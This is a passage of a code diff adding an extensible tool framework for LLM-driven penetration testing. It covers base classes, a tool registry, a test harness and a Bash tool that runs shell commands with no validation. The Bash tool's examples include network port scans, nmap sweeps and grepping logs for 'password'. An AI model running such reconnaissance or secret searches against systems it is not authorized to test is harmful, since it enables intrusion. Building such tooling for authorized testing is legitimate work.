+ process = await asyncio.create_subprocess_shell(
+ command.command,
+ stdout=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE,
+ cwd=context.working_directory,
+ )
+
+ timeout = command.timeout_sec or context.timeout_override or 300
+
+ try:
+ stdout, stderr = await asyncio.wait_for(process.communicate(), timeout=timeout)
+ except asyncio.TimeoutError:
+ process.kill()
+ await process.wait()
+ return ToolResult(
+ success=False,
+ output="",
+ error="Command timed out",
+ exit_code=124,
+ execution_time=timeout,
+ metadata={"timeout": True},
+ )
+
+ output = stdout.decode("utf-8", errors="replace") if stdout else ""
+ error = stderr.decode("utf-8", errors="replace") if stderr else ""
+
+ return ToolResult(
+ success=process.returncode == 0,
+ output=output,
+ error=error if error else None,
+ exit_code=process.returncode or 0,
+ execution_time=time.time() - start_time,
+ metadata={"command": command.command, "working_directory": context.working_directory},
+ )
+
+ except Exception as e:
+ return ToolResult(
+ success=False,
+ output="",
+ error=f"TOOL_NAME execution error: {str(e)}",
+ exit_code=-1,
+ execution_time=time.time() - start_time,
+ metadata={"error_type": type(e).__name__},
+ )
+
+ def generate_command(
+ self, capability: str, parameters: Dict[str, Any], context: Optional[ToolContext] = None
+ ) -> CommandInput:
+ """Generate TOOL_NAME command for the specified capability."""
+
+ if capability == "TODO_capability_name":
+ # TODO: Implement command generation
+ command = f"TOOL_NAME {parameters.get('TODO_param', '')}"
+
+ return CommandInput(command=command, timeout_sec=parameters.get("timeout", 300))
+ else:
+ raise ValueError(f"Unknown capability: {capability}")
+
+ def validate_command(self, command: CommandInput) -> tuple[bool, Optional[str]]:
+ """Validate TOOL_NAME command for safety."""
+ # TODO: Add tool-specific validation
+ cmd = command.command.strip()
+
+ if not cmd:
+ return False, "Command cannot be empty"
+
+ # Add any dangerous pattern checks here
+
+ return True, None
diff --git a/wish-tools/scripts/update_graph_visualization.py b/wish-tools/scripts/update_graph_visualization.py
index e01fb0bb..67f833db 100644
--- a/wish-tools/scripts/update_graph_visualization.py
+++ b/wish-tools/scripts/update_graph_visualization.py
@@ -132,7 +132,7 @@ def extract_graph_config(graph: StateGraph) -> Dict:
"entry_point": entry_point,
"finish_points": finish_points,
"edges": edges,
- "conditional_edges": conditional_edges
+ "conditional_edges": conditional_edges,
}
@@ -143,7 +143,7 @@ def generate_graph_visualization():
"tool_step_trace": {
"module_path": "wish_tools.tool_step_trace",
"filename": "tool_step_trace_graph.svg",
- "title": "Tool Step Trace Graph"
+ "title": "Tool Step Trace Graph",
}
}
@@ -238,6 +238,7 @@ def update_readme(graph_title: str, svg_filename: str):
else:
# Add this graph to the existing section
import re
+
section_pattern = re.compile(f"{graph_section_title}.*?(?=^#|$)", re.DOTALL | re.MULTILINE)
section_match = section_pattern.search(content)
diff --git a/wish-tools/src/wish_tools/__init__.py b/wish-tools/src/wish_tools/__init__.py
new file mode 100644
index 00000000..08afb253
--- /dev/null
+++ b/wish-tools/src/wish_tools/__init__.py
@@ -0,0 +1,41 @@
+"""
+Wish Tools - Extensible tool framework for penetration testing workflows.
+
+This package provides a unified interface for various penetration testing tools,
+allowing them to be used seamlessly within the wish framework.
+
+## Quick Start
+
+```python
+from wish_tools.framework.registry import tool_registry
+from wish_tools.framework.base import ToolContext
+
+# Get available tools
+tools = tool_registry.list_tools()
+
+# Use a tool
+tool = tool_registry.get_tool("bash")
+context = ToolContext(working_directory="/tmp", run_id="test")
+result = await tool.execute(command, context)
+```
+
+## Legacy Tools
+
+The following legacy tools are available for backward compatibility:
+- tool_step_trace: Step tracing functionality
+- to_base64: Base64 encoding utility
+
+These will be migrated to the new framework interface in future versions.
+"""
+
+from wish_tools.framework.registry import tool_registry
+
+__version__ = "1.0.0"
+__all__ = ["tool_registry"]
+
+# Auto-discover and register tools
+try:
+ tool_registry.auto_discover_tools("wish_tools.tools")
+except Exception:
+ # Graceful degradation if auto-discovery fails
+ pass
diff --git a/wish-tools/src/wish_tools/framework/__init__.py b/wish-tools/src/wish_tools/framework/__init__.py
new file mode 100644
index 00000000..b6ccf583
--- /dev/null
+++ b/wish-tools/src/wish_tools/framework/__init__.py
@@ -0,0 +1,24 @@
+"""
+Wish Tools Framework - Core framework components for tool abstraction.
+
+This module provides the base classes and utilities for implementing
+tools in the wish framework.
+"""
+
+from .base import BaseTool, CommandInput, ToolCapability, ToolContext, ToolMetadata, ToolResult
+from .registry import ToolRegistry, tool_registry
+from .testing import TestCase, TestResult, ToolTester
+
+__all__ = [
+ "BaseTool",
+ "CommandInput",
+ "ToolMetadata",
+ "ToolCapability",
+ "ToolContext",
+ "ToolResult",
+ "ToolRegistry",
+ "tool_registry",
+ "ToolTester",
+ "TestCase",
+ "TestResult",
+]
diff --git a/wish-tools/src/wish_tools/framework/base.py b/wish-tools/src/wish_tools/framework/base.py
new file mode 100644
index 00000000..be23a341
--- /dev/null
+++ b/wish-tools/src/wish_tools/framework/base.py
@@ -0,0 +1,187 @@
+"""
+Base classes for the wish tools framework.
+
+This module provides the abstract base classes and data models
+that all tools must implement.
+"""
+
+from abc import ABC, abstractmethod
+from typing import Any, Dict, List, Optional
+
+from pydantic import BaseModel, Field
+
+
+class ToolCapability(BaseModel):
+ """Describes a specific capability of a tool."""
+
+ name: str = Field(description="Name of the capability")
+ description: str = Field(description="Description of what this capability does")
+ parameters: Dict[str, Any] = Field(default_factory=dict, description="Parameters for this capability")
+ examples: List[str] = Field(default_factory=list, description="Example commands")
+
+
+class ToolMetadata(BaseModel):
+ """Metadata for a tool."""
+
+ name: str = Field(description="Tool name")
+ version: str = Field(description="Tool version")
+ description: str = Field(description="Tool description")
+ author: str = Field(description="Tool author")
+ category: str = Field(description="Tool category (e.g., 'network', 'exploitation', 'general')")
+ capabilities: List[ToolCapability] = Field(default_factory=list)
+ requirements: List[str] = Field(default_factory=list, description="System requirements")
+ tags: List[str] = Field(default_factory=list, description="Tags for tool discovery")
+
+
+class ToolContext(BaseModel):
+ """Context passed to tools during execution."""
+
+ working_directory: str
+ environment_variables: Dict[str, str] = Field(default_factory=dict)
+ system_info: Optional[Dict[str, Any]] = None
+ run_id: Optional[str] = None
+ timeout_override: Optional[int] = None
+
+
+class CommandInput(BaseModel):
+ """Input command for tool execution."""
+
+ command: str = Field(description="The command to execute")
+ timeout_sec: int = Field(default=300, description="Timeout in seconds")
+
+
+class ToolResult(BaseModel):
+ """Result from tool execution."""
+
+ success: bool = Field(description="Whether execution was successful")
+ output: str = Field(description="Standard output from the command")
+ error: Optional[str] = Field(default=None, description="Error output if any")
+ exit_code: int = Field(description="Exit code from the command")
+ execution_time: float = Field(description="Execution time in seconds")
+ metadata: Dict[str, Any] = Field(default_factory=dict, description="Additional metadata")
+
+
+class BaseTool(ABC):
+ """Abstract base class for all tools in the framework."""
+
+ def __init__(self, config: Optional[Dict[str, Any]] = None):
+ """Initialize the tool with optional configuration."""
+ self.config = config or {}
+ self._metadata = self._build_metadata()
+
+ @abstractmethod
+ def _build_metadata(self) -> ToolMetadata:
+ """Build and return tool metadata."""
+ pass
+
+ @property
+ def metadata(self) -> ToolMetadata:
+ """Get tool metadata."""
+ return self._metadata
+
+ @abstractmethod
+ async def validate_availability(self) -> tuple[bool, Optional[str]]:
+ """Check if the tool is available on the system.
+
+ Returns:
+ Tuple of (is_available, error_message)
+ """
+ pass
+
+ @abstractmethod
+ async def execute(self, command: CommandInput, context: ToolContext, **kwargs) -> ToolResult:
+ """Execute a command using this tool.
+
+ Args:
+ command: The command to execute
+ context: Execution context
+ **kwargs: Additional tool-specific arguments
+
+ Returns:
+ ToolResult containing execution results
+ """
+ pass
+
+ @abstractmethod
+ def generate_command(
+ self, capability: str, parameters: Dict[str, Any], context: Optional[ToolContext] = None
+ ) -> CommandInput:
+ """Generate a command for a specific capability.
+
+ Args:
+ capability: The capability to use
+ parameters: Parameters for the capability
+ context: Optional execution context
+
+ Returns:
+ Generated CommandInput
+ """
+ pass
+
+ def get_documentation(self) -> str:
+ """Generate comprehensive documentation for this tool."""
+ doc_parts = [
+ f"# {self.metadata.name}",
+ f"\n{self.metadata.description}",
+ f"\n**Version:** {self.metadata.version}",
+ f"**Author:** {self.metadata.author}",
+ f"**Category:** {self.metadata.category}",
+ f"**Tags:** {', '.join(self.metadata.tags)}",
+ "\n## Requirements",
+ "\n".join(f"- {req}" for req in self.metadata.requirements),
+ "\n## Capabilities",
+ ]
+
+ for cap in self.metadata.capabilities:
+ doc_parts.extend([f"\n### {cap.name}", f"{cap.description}", "\n**Parameters:**"])
+ for param, details in cap.parameters.items():
+ doc_parts.append(f"- `{param}`: {details}")
+
+ if cap.examples:
+ doc_parts.append("\n**Examples:**")
+ for example in cap.examples:
+ doc_parts.append(f"```bash\n{example}\n```")
+
+ return "\n".join(doc_parts)
+
+ def validate_command(self, command: CommandInput) -> tuple[bool, Optional[str]]:
+ """Validate if a command can be executed by this tool.
+
+ Args:
+ command: The command to validate
+
+ Returns:
+ Tuple of (is_valid, error_message)
+ """
+ # Default implementation - can be overridden by specific tools
+ return True, None
+
+
+class ToolException(Exception):
+ """Base exception for tool-related errors."""
+
+ pass
+
+
+class ToolNotFoundError(ToolException):
+ """Raised when a requested tool is not found."""
+
+ pass
+
+
+class ToolRegistrationError(ToolException):
+ """Raised when tool registration fails."""
+
+ pass
+
+
+class DuplicateToolError(ToolException):
+ """Raised when attempting to register a duplicate tool."""
+
+ pass
+
+
+class ToolExecutionError(ToolException):
+ """Raised when tool execution fails."""
+
+ pass
diff --git a/wish-tools/src/wish_tools/framework/registry.py b/wish-tools/src/wish_tools/framework/registry.py
new file mode 100644
index 00000000..3bc5bbd6
--- /dev/null
+++ b/wish-tools/src/wish_tools/framework/registry.py
@@ -0,0 +1,197 @@
+"""
+Tool registry for managing available tools.
+
+This module provides the ToolRegistry class for registering, discovering,
+and managing tools in the wish framework.
+"""
+
+import importlib
+import pkgutil
+from typing import Dict, List, Optional, Set, Type
+
+from .base import BaseTool, DuplicateToolError, ToolMetadata, ToolNotFoundError, ToolRegistrationError
+
+
+class ToolRegistry:
+ """Registry for managing tools in the framework."""
+
+ def __init__(self):
+ self._tools: Dict[str, Type[BaseTool]] = {}
+ self._instances: Dict[str, BaseTool] = {}
+ self._categories: Dict[str, Set[str]] = {}
+ self._tags: Dict[str, Set[str]] = {}
+
+ def register_tool(self, tool_class: Type[BaseTool], override: bool = False) -> None:
+ """Register a tool class.
+
+ Args:
+ tool_class: The tool class to register
+ override: Whether to override existing tool with same name
+
+ Raises:
+ DuplicateToolError: If tool already exists and override is False
+ ToolRegistrationError: If tool class is invalid
+ """
+ # Create temporary instance to get metadata
+ try:
+ temp_instance = tool_class()
+ metadata = temp_instance.metadata
+ except Exception as e:
+ raise ToolRegistrationError(f"Failed to instantiate tool: {e}") from e
+
+ tool_name = metadata.name
+
+ if tool_name in self._tools and not override:
+ raise DuplicateToolError(f"Tool '{tool_name}' already registered")
+
+ self._tools[tool_name] = tool_class
+
+ # Update category index
+ if metadata.category not in self._categories:
+ self._categories[metadata.category] = set()
+ self._categories[metadata.category].add(tool_name)
+
+ # Update tag index
+ for tag in metadata.tags:
+ if tag not in self._tags:
+ self._tags[tag] = set()
+ self._tags[tag].add(tool_name)
+
+ def get_tool(self, name: str, config: Optional[Dict] = None) -> BaseTool:
+ """Get a tool instance by name.
+
+ Args:
+ name: Tool name
+ config: Optional configuration for the tool
+
+ Returns:
+ Tool instance
+
+ Raises:
+ ToolNotFoundError: If tool not found
+ """
+ if name not in self._tools:
+ raise ToolNotFoundError(f"Tool '{name}' not found")
+
+ # Create instance if not cached or config provided
+ cache_key = f"{name}_{hash(str(config))}" if config else name
+ if cache_key not in self._instances:
+ self._instances[cache_key] = self._tools[name](config)
+
+ return self._instances[cache_key]
+
+ def list_tools(self) -> List[ToolMetadata]:
+ """List all registered tools."""
+ tools = []
+ for tool_class in self._tools.values():
+ instance = tool_class()
+ tools.append(instance.metadata)
+ return tools
+
+ def list_by_category(self, category: str) -> List[str]:
+ """List tools by category."""
+ return list(self._categories.get(category, []))
+
+ def list_by_tag(self, tag: str) -> List[str]:
+ """List tools by tag."""
+ return list(self._tags.get(tag, []))
+
+ def search_tools(self, query: str) -> List[ToolMetadata]:
+ """Search tools by name, description, or tags."""
+ query_lower = query.lower()
+ results = []
+
+ for tool_class in self._tools.values():
+ instance = tool_class()
+ metadata = instance.metadata
+
+ # Search in name, description, and tags
+ if (
+ query_lower in metadata.name.lower()
+ or query_lower in metadata.description.lower()
+ or any(query_lower in tag.lower() for tag in metadata.tags)
+ ):
+ results.append(metadata)
+
+ return results
+
+ def auto_discover_tools(self, package_path: str = "wish_tools.tools") -> None:
+ """Auto-discover and register tools from a package.
+
+ Args:
+ package_path: Python package path to search for tools
+ """
+ # Import the package
+ try:
+ package = importlib.import_module(package_path)
+ except ImportError as e:
+ raise ToolRegistrationError(f"Failed to import package '{package_path}': {e}") from e
+
+ # Walk through all modules in the package
+ for _, module_name, _ in pkgutil.walk_packages(package.__path__, prefix=package.__name__ + "."):
+ try:
+ module = importlib.import_module(module_name)
+
+ # Look for BaseTool subclasses
+ for attr_name in dir(module):
+ attr = getattr(module, attr_name)
+ if isinstance(attr, type) and issubclass(attr, BaseTool) and attr is not BaseTool:
+ try:
+ self.register_tool(attr)
+ except DuplicateToolError:
+ # Skip duplicates during auto-discovery
+ pass
+ except Exception:
+ # Skip modules that fail to import
+ continue
+
+ def get_tool_names(self) -> List[str]:
+ """Get list of all registered tool names."""
+ return list(self._tools.keys())
+
+ def has_tool(self, name: str) -> bool:
+ """Check if a tool is registered."""
+ return name in self._tools
+
+ def unregister_tool(self, name: str) -> bool:
+ """Unregister a tool.
+
+ Args:
+ name: Tool name to unregister
+
+ Returns:
+ True if tool was unregistered, False if not found
+ """
+ if name not in self._tools:
+ return False
+
+ # Get metadata for cleanup
+ instance = self._tools[name]()
+ metadata = instance.metadata
+
+ # Remove from main registry
+ del self._tools[name]
+
+ # Remove from instances cache
+ keys_to_remove = [k for k in self._instances.keys() if k.startswith(name)]
+ for key in keys_to_remove:
+ del self._instances[key]
+
+ # Remove from category index
+ if metadata.category in self._categories:
+ self._categories[metadata.category].discard(name)
+ if not self._categories[metadata.category]:
+ del self._categories[metadata.category]
+
+ # Remove from tag index
+ for tag in metadata.tags:
+ if tag in self._tags:
+ self._tags[tag].discard(name)
+ if not self._tags[tag]:
+ del self._tags[tag]
+
+ return True
+
+
+# Global registry instance
+tool_registry = ToolRegistry()
diff --git a/wish-tools/src/wish_tools/framework/testing.py b/wish-tools/src/wish_tools/framework/testing.py
new file mode 100644
index 00000000..870ba620
--- /dev/null
+++ b/wish-tools/src/wish_tools/framework/testing.py
@@ -0,0 +1,276 @@
+"""
+Testing framework for wish tools.
+
+This module provides utilities for testing tool implementations,
+including test case definitions, validators, and reporting.
+"""
+
+import asyncio
+import tempfile
+import time
+from dataclasses import dataclass
+from typing import Any, Callable, Dict, List, Optional
+
+from .base import BaseTool, ToolContext, ToolResult
+
+
+@dataclass
+class TestCase:
+ """Test case for a tool."""
+
+ name: str
+ description: str
+ capability: str
+ parameters: Dict[str, Any]
+ expected_success: bool
+ validators: List[Callable[[ToolResult], tuple[bool, str]]]
+ timeout: int = 300
+ skip_if: Optional[Callable[[], bool]] = None
+
+
+@dataclass
+class TestResult:
+ """Result of a test case."""
+
+ test_case: TestCase
+ passed: bool
+ execution_time: float
+ tool_result: Optional[ToolResult]
+ error: Optional[str]
+ validation_errors: List[str]
+
+
+class OutputValidator:
+ """Validator for tool output."""
+
+ def __init__(self, contains: Optional[str] = None, not_contains: Optional[str] = None):
+ self.contains = contains
+ self.not_contains = not_contains
+
+ def __call__(self, result: ToolResult) -> tuple[bool, str]:
+ if self.contains and self.contains not in result.output:
+ return False, f"Output should contain '{self.contains}'"
+
+ if self.not_contains and self.not_contains in result.output:
+ return False, f"Output should not contain '{self.not_contains}'"
+
+ return True, ""
+
+
+class ExitCodeValidator:
+ """Validator for exit codes."""
+
+ def __init__(self, expected: int):
+ self.expected = expected
+
+ def __call__(self, result: ToolResult) -> tuple[bool, str]:
+ if result.exit_code != self.expected:
+ return False, f"Expected exit code {self.expected}, got {result.exit_code}"
+ return True, ""
+
+
+class MetadataValidator:
+ """Validator for metadata content."""
+
+ def __init__(self, required_keys: List[str]):
+ self.required_keys = required_keys
+
+ def __call__(self, result: ToolResult) -> tuple[bool, str]:
+ for key in self.required_keys:
+ if key not in result.metadata:
+ return False, f"Metadata missing required key: {key}"
+ return True, ""
+
+
+class PerformanceValidator:
+ """Validator for performance requirements."""
+
+ def __init__(self, max_time: float):
+ self.max_time = max_time
+
+ def __call__(self, result: ToolResult) -> tuple[bool, str]:
+ if result.execution_time > self.max_time:
+ return False, f"Execution took {result.execution_time:.2f}s, max allowed {self.max_time}s"
+ return True, ""
+
+
+class ToolTester:
+ """Framework for testing tools."""
+
+ def __init__(self, tool: BaseTool, context: Optional[ToolContext] = None):
+ self.tool = tool
+ self.context = context or self._default_context()
+
+ def _default_context(self) -> ToolContext:
+ """Create default test context."""
+ temp_dir = tempfile.mkdtemp()
+ return ToolContext(working_directory=temp_dir, environment_variables={}, run_id="test-run")
+
+ async def test_availability(self) -> TestResult:
+ """Test if tool is available."""
+ test_case = TestCase(
+ name="availability_check",
+ description="Check if tool is available on the system",
+ capability="",
+ parameters={},
+ expected_success=True,
+ validators=[],
+ )
+
+ start_time = time.time()
+ try:
+ is_available, error = await self.tool.validate_availability()
+
+ return TestResult(
+ test_case=test_case,
+ passed=is_available,
+ execution_time=time.time() - start_time,
+ tool_result=None,
+ error=error,
+ validation_errors=[],
+ )
+ except Exception as e:
+ return TestResult(
+ test_case=test_case,
+ passed=False,
+ execution_time=time.time() - start_time,
+ tool_result=None,
+ error=str(e),
+ validation_errors=[],
+ )
+
+ async def run_test_case(self, test_case: TestCase) -> TestResult:
+ """Run a single test case."""
+ # Check skip condition
+ if test_case.skip_if and test_case.skip_if():
+ return TestResult(
+ test_case=test_case,
+ passed=True,
+ execution_time=0,
+ tool_result=None,
+ error="Test skipped",
+ validation_errors=[],
+ )
+
+ start_time = time.time()
+ validation_errors = []
+
+ try:
+ # Generate command
+ command = self.tool.generate_command(
+ capability=test_case.capability, parameters=test_case.parameters, context=self.context
+ )
+
+ # Execute command
+ tool_result = await asyncio.wait_for(self.tool.execute(command, self.context), timeout=test_case.timeout)
+
+ # Check basic success/failure
+ if tool_result.success != test_case.expected_success:
+ validation_errors.append(
+ f"Expected success={test_case.expected_success}, got success={tool_result.success}"
+ )
+
+ # Run validators
+ for validator in test_case.validators:
+ is_valid, error = validator(tool_result)
+ if not is_valid:
+ validation_errors.append(error)
+
+ passed = len(validation_errors) == 0
+
+ return TestResult(
+ test_case=test_case,
+ passed=passed,
+ execution_time=time.time() - start_time,
+ tool_result=tool_result,
+ error=None,
+ validation_errors=validation_errors,
+ )
+
+ except asyncio.TimeoutError:
+ return TestResult(
+ test_case=test_case,
+ passed=False,
+ execution_time=test_case.timeout,
+ tool_result=None,
+ error="Test timed out",
+ validation_errors=validation_errors,
+ )
+ except Exception as e:
+ return TestResult(
+ test_case=test_case,
+ passed=False,
+ execution_time=time.time() - start_time,
+ tool_result=None,
+ error=str(e),
+ validation_errors=validation_errors,
+ )
+
+ async def run_test_suite(self, test_cases: List[TestCase]) -> List[TestResult]:
+ """Run a suite of test cases."""
+ results = []
+
+ # First check availability
+ availability_result = await self.test_availability()
+ results.append(availability_result)
+
+ if not availability_result.passed:
+ # Skip other tests if tool not available
+ return results
+
+ # Run test cases
+ for test_case in test_cases:
+ result = await self.run_test_case(test_case)
+ results.append(result)
+
+ return results
+
+ def generate_report(self, results: List[TestResult]) -> str:
+ """Generate test report."""
+ report_lines = [
+ f"# Test Report for {self.tool.metadata.name}",
+ f"\nTool Version: {self.tool.metadata.version}",
+ f"Total Tests: {len(results)}",
+ f"Passed: {sum(1 for r in results if r.passed)}",
+ f"Failed: {sum(1 for r in results if not r.passed)}",
+ "\n## Test Results\n",
+ ]
+
+ for result in results:
+ status = "✅ PASSED" if result.passed else "❌ FAILED"
+ report_lines.append(f"### {result.test_case.name} - {status}")
+ report_lines.append(f"**Description:** {result.test_case.description}")
+ report_lines.append(f"**Execution Time:** {result.execution_time:.2f}s")
+
+ if result.error:
+ report_lines.append(f"**Error:** {result.error}")
+
+ if result.validation_errors:
+ report_lines.append("**Validation Errors:**")
+ for error in result.validation_errors:
+ report_lines.append(f"- {error}")
+
+ if result.tool_result:
+ report_lines.append("\n**Tool Output Preview:**")
+ output_preview = result.tool_result.output[:500]
+ if len(result.tool_result.output) > 500:
+ output_preview += "... (truncated)"
+ report_lines.append(f"```\n{output_preview}\n```")
+
+ report_lines.append("")
+
+ return "\n".join(report_lines)
+
+
+def create_basic_test_suite(tool_name: str) -> List[TestCase]:
+ """Create a basic test suite for any tool."""
+ return [
+ TestCase(
+ name="metadata_check",
+ description="Verify tool metadata is properly configured",
+ capability="",
+ parameters={},
+ expected_success=True,
+ validators=[],
+ )
+ ]
diff --git a/wish-tools/src/wish_tools/tool_step_trace.py b/wish-tools/src/wish_tools/tool_step_trace.py
index bf4660f0..e98aa012 100644
--- a/wish-tools/src/wish_tools/tool_step_trace.py
+++ b/wish-tools/src/wish_tools/tool_step_trace.py
@@ -25,6 +25,7 @@ class StepTraceState(BaseModel):
response_status_code: レスポンスのステータスコード
response_body: レスポンスのボディ
"""
+
run_id: str
trace_name: str
trace_message: str
@@ -51,7 +52,7 @@ def encode_trace_message(state: StepTraceState) -> StepTraceState:
run_id=state.run_id,
trace_name=state.trace_name,
trace_message=state.trace_message,
- trace_message_base64=encoded
+ trace_message_base64=encoded,
)
@@ -69,7 +70,7 @@ def post_step_trace(state: StepTraceState) -> StepTraceState:
data = {
"run_id": state.run_id, # プレフィックスを追加しない
"trace_name": state.trace_name,
- "trace_message_base64": state.trace_message_base64
+ "trace_message_base64": state.trace_message_base64,
}
try:
@@ -77,7 +78,7 @@ def post_step_trace(state: StepTraceState) -> StepTraceState:
response = requests.post(
"http://host.docker.internal:23456/api/addStepTrace",
json=data,
- headers={"Content-Type": "application/json"}
+ headers={"Content-Type": "application/json"},
)
# レスポンスを取得
@@ -95,7 +96,7 @@ def post_step_trace(state: StepTraceState) -> StepTraceState:
trace_message=state.trace_message,
trace_message_base64=state.trace_message_base64,
response_status_code=status_code,
- response_body=body
+ response_body=body,
)
@@ -121,11 +122,7 @@ def build_graph() -> StateGraph:
return graph
-def main(
- run_id: str,
- trace_name: str,
- trace_message: str
-) -> Dict[str, str]:
+def main(run_id: str, trace_name: str, trace_message: str) -> Dict[str, str]:
"""
メイン関数
@@ -142,23 +139,13 @@ def main(
graph = build_graph()
# グラフの実行
- initial_state = StepTraceState(
- run_id=run_id,
- trace_name=trace_name,
- trace_message=trace_message
- )
+ initial_state = StepTraceState(run_id=run_id, trace_name=trace_name, trace_message=trace_message)
workflow = graph.compile()
result = workflow.invoke(initial_state, {"run_name": f"Tool-StepTrace-{trace_name}"})
# 結果を返す
- return {
- "status_code": result["response_status_code"],
- "body": result["response_body"]
- }
+ return {"status_code": result["response_status_code"], "body": result["response_body"]}
except Exception as e:
# エラーが発生した場合
- return {
- "status_code": 599,
- "body": f"Error during workflow execution: {str(e)}"
- }
+ return {"status_code": 599, "body": f"Error during workflow execution: {str(e)}"}
diff --git a/wish-tools/src/wish_tools/tools/__init__.py b/wish-tools/src/wish_tools/tools/__init__.py
new file mode 100644
index 00000000..fa92e9af
--- /dev/null
+++ b/wish-tools/src/wish_tools/tools/__init__.py
@@ -0,0 +1,60 @@
+"""
+Wish Tools - Tool implementations.
+
+This package contains the actual tool implementations that conform
+to the wish tools framework interface.
+
+Available tools:
+- BashTool: Execute bash commands
+- MsfconsoleTool: Metasploit Framework console
+- NmapTool: Network exploration and security auditing
+
+## Adding New Tools
+
+To add a new tool:
+
+1. Create a new Python file in this directory
+2. Implement a class that inherits from BaseTool
+3. The tool will be auto-discovered by the framework
+
+Example:
+
+```python
+from wish_tools.framework.base import BaseTool, ToolMetadata, ToolCapability
+
+class MyTool(BaseTool):
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="mytool",
+ version="1.0.0",
+ description="My custom tool",
+ author="Me",
+ category="custom",
+ capabilities=[...],
+ requirements=["mytool-binary"],
+ tags=["custom"]
+ )
+
+ async def validate_availability(self):
+ # Check if tool is available
+ pass
+
+ async def execute(self, command, context):
+ # Execute the tool
+ pass
+
+ def generate_command(self, capability, parameters, context=None):
+ # Generate command for LLM
+ pass
+```
+"""
+
+# Import all tools to make them available for auto-discovery
+try:
+ from .bash import BashTool
+ from .msfconsole import MsfconsoleTool
+
+ __all__ = ["BashTool", "MsfconsoleTool"]
+except ImportError:
+ # Graceful degradation if some tools can't be imported
+ __all__ = []
diff --git a/wish-tools/src/wish_tools/tools/bash.py b/wish-tools/src/wish_tools/tools/bash.py
new file mode 100644
index 00000000..286c7ff0
--- /dev/null
+++ b/wish-tools/src/wish_tools/tools/bash.py
@@ -0,0 +1,230 @@
+"""
+Bash tool implementation for wish framework.
+
+This tool provides a wrapper around bash command execution,
+compatible with the existing wish-command-execution backend.
+"""
+
+import asyncio
+import subprocess
+import time
+from pathlib import Path
+from typing import Any, Dict, Optional
+
+from wish_tools.framework.base import BaseTool, CommandInput, ToolCapability, ToolContext, ToolMetadata, ToolResult
+
+
+class BashTool(BaseTool):
+ """Bash shell command execution tool."""
+
+ def _build_metadata(self) -> ToolMetadata:
+ return ToolMetadata(
+ name="bash",
+ version="1.0.0",
+ description="Fallback shell command execution when no specialized tool is available",
+ author="Wish Framework Team",
+ category="fallback",
+ capabilities=[
+ ToolCapability(
+ name="execute",
+ description="Execute any bash command (used when specialized tools are unavailable)",
+ parameters={
+ "command": "The bash command to execute",
+ "timeout": "Timeout in seconds (optional, default: 300)",
+ "category": "Command category hint (optional: network, file, process, system, web, text)",
+ },
+ examples=[
+ "# Network enumeration fallback",
+ "nc -zv 192.168.1.1 22-443",
+ "ping -c 4 8.8.8.8",
+ "# File operations fallback",
+ "find /etc -name '*.conf' -type f",
+ "grep -r 'password' /var/log/",
+ "# Process management fallback",
+ "ps aux | grep nginx",
+ "netstat -tulpn | grep :80",
+ "# System information fallback",
+ "uname -a && cat /etc/os-release",
+ "df -h && free -h",
+ ],
+ ),
+ ToolCapability(
+ name="script",
+ description="Execute custom bash scripts for complex operations",
+ parameters={"script": "The bash script content", "args": "Script arguments (optional)"},
+ examples=[
+ "#!/bin/bash\n# Custom enumeration script\nfor port in 22 80 443; do nc -zv $1 $port; done",
+ "#!/bin/bash\n# Log analysis script\ngrep 'ERROR' /var/log/*.log | tail -20",
+ ],
+ ),
+ ToolCapability(
+ name="tool_combination",
+ description="Combine multiple tools with pipes and logic when no single specialized tool exists",
+ parameters={
+ "command": "Complex command combining multiple tools",
+ "description": "Description of what the combined command does",
+ },
+ examples=[
+ "# Network discovery + service detection",
+ "nmap -sn 192.168.1.0/24 | grep 'Nmap scan report' | awk '{print $5}' | "
+ "xargs -I {} nmap -sV -p 22,80,443 {}",
+ "# Log analysis with multiple filters",
+ "cat /var/log/auth.log | grep 'Failed password' | awk '{print $11}' | "
+ "sort | uniq -c | sort -nr",
+ ],
+ ),
+ ],
+ requirements=["bash"],
+ tags=["shell", "fallback", "general-purpose", "universal"],
+ )
+
+ async def validate_availability(self) -> tuple[bool, Optional[str]]:
+ """Check if bash is available."""
+ try:
+ result = subprocess.run(["bash", "--version"], capture_output=True, text=True, timeout=5)
+ if result.returncode == 0:
+ return True, None
+ else:
+ return False, "Bash returned non-zero exit code"
+ except FileNotFoundError:
+ return False, "Bash not found in PATH"
+ except subprocess.TimeoutExpired:
+ return False, "Bash version check timed out"
+ except Exception as e:
+ return False, f"Error checking bash availability: {str(e)}"
+
+ async def execute(self, command: CommandInput, context: ToolContext, **kwargs) -> ToolResult:
+ """Execute a bash command."""
+ start_time = time.time()
+
+ try:
+ # Prepare environment
+ env = dict(context.environment_variables)
+ env.update(kwargs.get("env", {}))
+
+ # Create working directory if it doesn't exist
+ work_dir = Path(context.working_directory)
+ work_dir.mkdir(parents=True, exist_ok=True)
+
+ # Run bash command
+ process = await asyncio.create_subprocess_shell(
+ command.command,
+ stdout=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE,
+ cwd=context.working_directory,
+ env=env if env else None,
+ )
+
+ # Set up timeout
+ timeout = command.timeout_sec or context.timeout_override or 300
+
+ try:
+ stdout, stderr = await asyncio.wait_for(process.communicate(), timeout=timeout)
+ except asyncio.TimeoutError:
+ process.kill()
+ await process.wait()
+ return ToolResult(
+ success=False,
+ output="",
+ error="Command timed out",
+ exit_code=124, # Standard timeout exit code
+ execution_time=timeout,
+ metadata={"timeout": True, "command": command.command},
+ )
+
+ # Decode output
+ output = stdout.decode("utf-8", errors="replace") if stdout else ""
+ error = stderr.decode("utf-8", errors="replace") if stderr else ""
+
+ execution_time = time.time() - start_time
+
+ return ToolResult(
+ success=process.returncode == 0,
+ output=output,
+ error=error if error else None,
+ exit_code=process.returncode or 0,
+ execution_time=execution_time,
+ metadata={
+ "command": command.command,
+ "working_directory": context.working_directory,
+ "run_id": context.run_id,
+ },
+ )
+
+ except Exception as e:
+ return ToolResult(
+ success=False,
+ output="",
+ error=f"Execution error: {str(e)}",
+ exit_code=-1,
+ execution_time=time.time() - start_time,
+ metadata={"command": command.command, "error_type": type(e).__name__},
+ )
+
+ def generate_command(
+ self, capability: str, parameters: Dict[str, Any], context: Optional[ToolContext] = None
+ ) -> CommandInput:
+ """Generate a bash command for the specified capability."""
+ if capability == "execute":
+ return CommandInput(command=parameters["command"], timeout_sec=parameters.get("timeout", 300))
+
+ elif capability == "script":
+ # Create a temporary script file and execute it
+ script_content = parameters["script"]
